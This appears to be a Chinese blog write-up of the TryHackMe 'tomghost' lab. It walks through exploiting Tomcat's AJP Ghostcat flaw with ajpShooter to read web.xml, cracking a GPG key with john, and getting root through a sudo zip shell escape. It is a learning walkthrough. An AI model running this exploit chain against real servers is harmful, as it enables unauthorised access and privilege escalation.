tomghost
思路:
先使用端口扫描,会发现22,8009,8080
8009的考察点:tomcat ajp协程属性设置导致的文件读取和文件执行。
https://github.com/00theway/Ghostcat-CNVD-2020-10487
读取
python3.9 ajpShooter.py http://10.10.30.130:8080 8009 /WEB-INF/web.xml read
获得ssh登录
skyfuck:8730281lkjlkjdqlksalks
将文件下载到本地
scp skyfuck@10.10.30.130:credential.pgp .
爆破
gpg2john tryhackme.asc > hash.txt
john --wordlist=rockyou.txt hash
alexandru (tryhackme)
gpg解密
gpg --import tryhackme.asc
gpg --decrypt credebtial.pgp
得到
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
登录
sudo提权
https://gtfobins.github.io/gtfobins/zip/#sudo
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
此时root
回顾:8009这个漏洞,gpg解密
本文作者:gvpn
本文链接:https://www.cnblogs.com/-Lucky-/p/17205351.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步